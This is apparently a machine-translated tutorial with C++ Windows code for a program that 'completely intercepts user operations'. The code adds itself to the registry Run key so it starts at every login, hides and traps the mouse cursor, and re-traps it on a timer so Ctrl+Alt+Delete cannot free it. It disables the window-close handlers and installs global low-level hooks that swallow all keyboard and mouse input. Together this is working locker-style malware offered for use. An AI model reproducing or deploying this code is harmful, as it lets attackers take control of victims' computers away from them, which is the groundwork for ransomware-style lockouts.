Write a program that completely intercepts user operations

First , We have to be persistent , Self starting is a good choice , Here is a self starting function .

void autostart()
{
	HKEY hKey;
	string strRegPath = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";

	//1、 Find the startup item of the system   
	if (RegOpenKeyExA(HKEY_CURRENT_USER, strRegPath.c_str(), 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS) /// Open the bootstrap        
	{
		//2、 Get the full path of the program itself 
		TCHAR strExeFullDir[MAX_PATH];
		GetModuleFileName(NULL, strExeFullDir, MAX_PATH);

		//3、 Determine whether the registry key already exists 
		TCHAR strDir[MAX_PATH] = {};
		DWORD nLength = MAX_PATH;
		long result = RegGetValueA(hKey, nullptr, "GISRestart", RRF_RT_REG_SZ, 0, strDir, &nLength);

		//4、 Already exist 
		if (result != ERROR_SUCCESS || _tcscmp(strExeFullDir, strDir) != 0)
		{
			//5、 Add a child Key, And set the values ,"GISRestart" Is the name of the application （ No suffix .exe） 
			RegSetValueExA(hKey, "GISRestart", 0, REG_SZ, (LPBYTE)strExeFullDir, (lstrlen(strExeFullDir) + 1)*sizeof(TCHAR));

			//6、 Close the registry 
			RegCloseKey(hKey);
		}
	}
	
}

Then start intercepting , You also need a global variable

CRect rect1;

	SetCursorPos(0,0);// Set mouse position 
	ShowCursor(SW_HIDE);// Hide the mouse 
	SetTimer(1, 300, NULL);
	GetWindowRect(&rect1);
	rect1.bottom = 0;// Construct restricted areas 
	rect1.right = 0;
	rect1.left = 0;
	rect1.top = 0;
	ClipCursor(rect1);// Limit the mouse in the system (0,0,0,0) Within the scope of 
	LoadLibraryA("lanjie.dll");// Load hook DLL
	autostart();// Self starting 

To further enhance the effect , Do processing in the mouse movement message , Pay attention to capturing the mouse in advance .

void CXXXDlg::OnMouseMove(UINT nFlags, CPoint point)
{
	// TODO:  Add message handler code and / Or call the default value 
	
	ClipCursor(rect1);

	CDialogEx::OnMouseMove(nFlags, point);
}

in consideration of ctrl+alt+delete May cancel ClipCursor, Then we use a timer , Every time 0.3 Second restart ClipCursor.

void CXXXDlg::OnTimer(UINT_PTR nIDEvent)
{
		ShowWindow(SW_HIDE);
		SetCursorPos(0, 0);
		ClipCursor(rect1);
}

In case of a one thousand , If the keyboard interception fails , Then at least the following code can prevent users from closing the window directly

void CXXXDlg::OnIdcancel()
{
	// TODO:  Add command handler code here 
}


void CXXXDlg::OnIdok()
{
	// TODO:  Add command handler code here 
}


void CXXXDlg::OnIdyes()
{
	// TODO:  Add command handler code here 
}


void CXXXDlg::OnIdno()
{
	// TODO:  Add command handler code here 
}

Next, intercept the keyboard , Here we use message hook to realize .

Here are DLL Code , Wrote notes , It will not be explained in the text .

// lanjie.cpp :  Definition  DLL  Export function of application program .
//

#include "stdafx.h"


HHOOK g_hook = NULL;
HINSTANCE g_Inst = NULL;

HHOOK g_hook1 = NULL;
//HINSTANCE g_Inst1 = NULL;


LRESULT CALLBACK LowLevelKeyboardProc1(int nCode, WPARAM wParam, LPARAM lParam)
{// Keyboard hook 
	if (nCode < 0)
	{
		return CallNextHookEx(g_hook1, nCode, wParam, lParam);
	}
	if (HC_ACTION == nCode)// If there is a keyboard key value 
	{
		
			return TRUE;// Interception hook 
	}
	return CallNextHookEx(g_hook, nCode, wParam, lParam);// Otherwise, continue to pass the hook 
}
BOOL SetHookOn1()
{
	if (g_hook1 != NULL)
	{
		return FALSE;
	}
	g_hook1 = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc1, g_Inst, NULL);// Create a keyboard hook 
	if (NULL == g_hook1)
	{
		
		return FALSE;
	}
	return TRUE;
}



LRESULT CALLBACK MouseProc(int nCode, WPARAM wParam, LPARAM lParam)
{// Callback function of mouse hook 
	if (nCode < 0)
	{
	return CallNextHookEx(g_hook, nCode, wParam, lParam);// Message error , Continue to pass the hook 
	}
	
	
	return TRUE;// Intercept operation 
}
BOOL SetHookOn()
{
	if (g_hook != NULL)
	{
		return FALSE;
	}
	g_hook = SetWindowsHookEx(WH_MOUSE_LL, MouseProc, g_Inst, NULL);// Create hook 
	if (NULL == g_hook)
	{
		MessageBoxA(NULL, " Installation hook error ！", "error", MB_ICONSTOP);
		return FALSE;
	}
	return TRUE;
}
BOOL APIENTRY DllMain(HANDLE hMouble, DWORD u1_reason_for_call, LPVOID lpReserved)
{
	g_Inst = (HINSTANCE)hMouble;// Record module handle 
	SetHookOn();// Hang the mouse hook 
	SetHookOn1();// Hang the keyboard hook 
	return TRUE;
}